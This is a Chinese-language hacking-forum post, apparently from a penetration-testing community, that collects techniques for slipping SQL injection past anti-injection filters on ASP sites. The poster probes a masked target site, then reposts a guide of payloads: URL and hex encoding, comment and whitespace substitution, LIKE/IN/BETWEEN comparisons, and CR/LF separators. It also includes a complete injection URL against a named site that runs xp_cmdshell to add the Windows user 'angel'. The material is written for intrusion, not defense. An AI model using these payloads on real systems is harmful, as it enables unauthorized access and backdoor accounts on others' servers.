中国网络渗透测试联盟

标题: 饶过防注入系统方法总结 [打印本页]

作者: admin    时间: 2012-9-15 14:47
标题: 饶过防注入系统方法总结
路过这个网站,检测了一下.
7 K7 w) E( N- H8 T6 [http://www.xxx.cn/Article.asp?ID=117 and 1=1+ T2 l1 ^5 C* d  x6 ~
直接返回主页
  D& ?/ D# Z0 o  y& d4 l* qhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
- f( d% Y9 B8 I& W0 G# D1 m直接返回主页
( x& P& L2 i3 n# Z: s, W5 X0 Mhttp://www.xxx.cn/Article.asp?ID=117 or6 x; u# b: t# L7 _
没有返回主页 没有过滤or0 G6 M8 F+ g6 W3 |" K
http://www.xxx.cn/Article.asp?ID=117 and! S6 j$ ?0 [% t6 U  W
直接返回主页 看来过滤了and$ h3 F) P# }" {% y' W- ^2 m7 Z; e
http://www.xxx.cn/Article.asp?ID=117 or 1
4 H) C' E1 |4 A% J没有返回主页 即没有过滤or 也没有过滤1
4 [) s. z5 o+ u- @/ t6 bhttp://www.xxx.cn/Article.asp?ID=117 or 1=1. N  g0 Z: R7 K& `. X
直接返回主页 很明显过滤了等号 # @, A* d+ m8 X: J
or的特性是与and相反的.
7 r; k6 ]5 s, f3 v9 W2 Z6 [or 1=1 爆错 或与原页面不同
+ D, y& r) @7 Y3 w! Xor 1=2 原页面相同& y7 r* o' T- ]) m4 W
这样就是一个注入点
, t7 r  M; s1 A3 z8 U但他过滤了=号 我就用><号代替=号吧!( H8 K# D& V. @3 f$ `( b0 q
or 1<2 很明显是正确的,所以应该与原页面不同
' ~* y  Q3 b9 V, Z5 x! V4 `2 dor 1>2 很明显是错误的,所以应该与原页面相同+ i# Y, q3 R) A3 e. `; c
然后看看有没有过滤其他的查询语句,比如select.* F9 g8 g6 y# Z+ `& B
http://www.xxx.cn/Article.asp?ID=117 select0 F. X5 p% s3 u: u2 v4 ^. m
直接返回主页
" F6 V) Z0 ?3 e% m2 H$ f0 E0 d又迷茫了..
' N: o% V" {3 }! X$ E' E
- `* r0 m2 c# E7 Y# Q$ l0 N1 U) p4 U3 U7 ]* R5 ]* Q. S) y
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗4 v/ \) p+ z/ C8 Y7 b+ u$ @
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧): }" k' I+ n4 [( z4 N* t1 e7 z
================================================
7 o' W0 Y5 o3 _  v" H, v以下是转贴:- f; j- q5 i9 n& e
; _8 o& }, R# c! W6 [5 j- F$ X
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… # N& d0 M- V/ q- U5 P' {
经过我的收集,大部分的防注入程序都过滤了以下关键字:
& u- z* s" ~5 M$ eand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
( B) A0 z! s7 x2 D而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 9 L& _/ e8 `9 J1 O+ J
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 7 e" g- D% p2 ]) S
1、运用编码技术绕过
6 w7 k5 [, |. ]0 ]如URLEncode编码,ASCII编码绕过。例如or 1=1即
8 n/ I" d, @4 R; o% ?! ]%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
- I1 a$ L+ _" t
; u, t6 m7 G1 @2 M2、通过空格绕过 " ?# x" N- z" [( u% ^2 A
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 - ^0 Z7 k- M( [( \* W% C, G
or’ swords’ =‘swords’
+ U! ?7 |; T* l5 [# |3 l* r# E,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
: o( I2 _% I2 y, e3 z3、运用字符串判断代替 8 I2 }5 B- a8 p/ v, x
用经典的or 1=1判断绕过,如 1 ?+ i' {$ P7 ?: R+ S
or ’swords’ =’swords’ $ P: q+ N3 p: f: W
,这个方法就是网上在讨论的。 / P/ j* B" }1 [# U! }
4、通过类型转换修饰符N绕过 . f4 Y7 G7 G, [- C. j
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
- f4 `) B4 J4 C, ~- Y5、通过+号拆解字符串绕过 # b' Z2 R( a! x# o8 P; t
效果值得考证,但毕竟是一种方法。如   s# j; t8 L% x. Y% M& _2 i
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) : P' t7 i' a9 ?, t( D: J! I. H
# n" J  h% [" s1 P$ `
6、通过LIKE绕过   ~3 w6 t- C+ R! W) \, ?
以前怎么就没想到呢?如or
' C! s: [% i. ^0 r’swords’ LIKE ’sw’
1 G' w5 v0 u+ l8 Z8 e/ g!!!显然可以很轻松的绕过 * q# n1 f/ B9 Z& q; B
“=”“>”
4 q% j8 l* B- c2 y& ~- H的限制……
3 N1 M. a& ~0 f7、通过IN绕过 + j* U: c) K" f) p( G
与上面的LIKE的思路差不多,如
. T3 ^+ L/ X) vor ’swords’ IN (’swords’) , i6 C2 @5 B8 E9 A( ?; M
: I) B. E, m: U
8、通过BETWEEN绕过 ) Z) F6 I0 p# ]% ?3 C
" B9 p( z- W$ L5 N: U
or ’swords’ BETWEEN ’rw’ AND ’tw’
* S2 n* \/ T& _, o' G2 r
" d, H6 P6 v- A7 G  U9、通过>或者<绕过
$ r5 q6 B6 o: w$ x0 K# M2 ^or ’swords’ > ’sw’
' e/ n) X( ]( Y0 n  j+ Ior ’swords’ < ’tw’ , J# x" w! B, ]4 K# I
or 1<3 5 B' l9 n7 K( W- |
……
( u. I/ \- Y/ w10、运用注释语句绕过 : h" W2 a0 J2 t: @4 q# a  j6 u. R
用/**/代替空格,如:
. r9 p! a4 T( _- CUNION /**/ Select /**/user,pwd,from tbluser
- V1 [! u9 l  ]( }1 ?/ V
8 L5 W9 h6 ~, N用/**/分割敏感词,如:
! g  y% O5 q& w$ XU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser " W; M: c7 s( ^/ V, z' _" ^1 |9 u# q
# Z4 [) Y9 J( [# E4 m
11、用HEX绕过,一般的IDS都无法检测出来
, g* O9 N$ \0 o5 @0x730079007300610064006D0069006E00 =hex(sysadmin)
% v$ G3 X2 q0 Q0x640062005F006F0077006E0065007200 =hex(db_owner) # J# f  L% R5 l4 z
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
5 ?' V# M: b6 K% A* ?- R4 i' m  declare @a sysname & Q9 k+ q. s$ r! f
  select @a= : O+ E+ J( R- a/ U: b
  exec master.dbo.xp_cmdshell @a
8 F0 v1 u+ g' P6 Y2 B$ }效果 ; ]  _) @5 k* ^
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
+ V7 u$ l) U9 T" q$ p3 ~4 B
$ _3 m: n$ P  A0 q' S其中的 : b2 U, p& f0 B4 ]  T# n1 F
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 - @/ N3 h6 z! i6 h6 y5 I# I/ \
就是
+ q$ d6 D; T$ L: M1 \3 y+ n9 u“net user angel pass /add”0 G5 k- s' c9 S9 T, q: G) b! N/ [, w

. z3 b- V  j& O, |: E- G一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
1 q9 a5 U$ |2 J! q% [% F引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。; B9 P4 e; s9 ~9 M, U5 F
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似2 R8 u9 N+ D2 V6 u8 K* `
Copy code% X. `# u0 G9 N2 w& p
select * from table exec xp_cmdshell'xxxxxxxxxx'
7 S  Z2 ?) i5 S, L) g2 c% T9 q: d9 W6 A! ?& X; `7 d) J

2 P8 x7 D1 m' l2 `$ Uselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
+ ]; I& u. _5 M" S/ E: O8 I& ^- B' @/ h, }* c  S4 ?1 X: t& \

1 V, Z1 ]: h; _/ Oselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'$ G- H" S9 y! E% i
( h" T# u. e' ~( d) `5 B
9 E: d" e6 L6 t6 _# `" O% @
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'! z1 c5 \6 k0 u

+ P) U0 L6 W! E3 g7 m的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?# T- u1 s; T9 q+ o4 [
% K; u0 B, k/ ^4 T8 e# l
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了" y% q: q) L5 i% D3 P7 _
可能大家早就知道了,不管怎么说,发在这里吧!
/ |+ Q; H- k! p" D# l: @+ a  S4 a4 x# v5 X+ {$ z  X
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。- ?' d5 F( x( e( R) p+ a
. ^$ W( c/ r! N- f/ @, Q3 x% m. L

- c6 w" ?7 [# d, {' @
# K- W6 ?, L9 d) M& n对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试," h* O1 e% [) C+ p) m) F4 _. I
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? - g1 y: h- Y6 d5 p- U( ^

2 c+ D0 x/ c& P




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2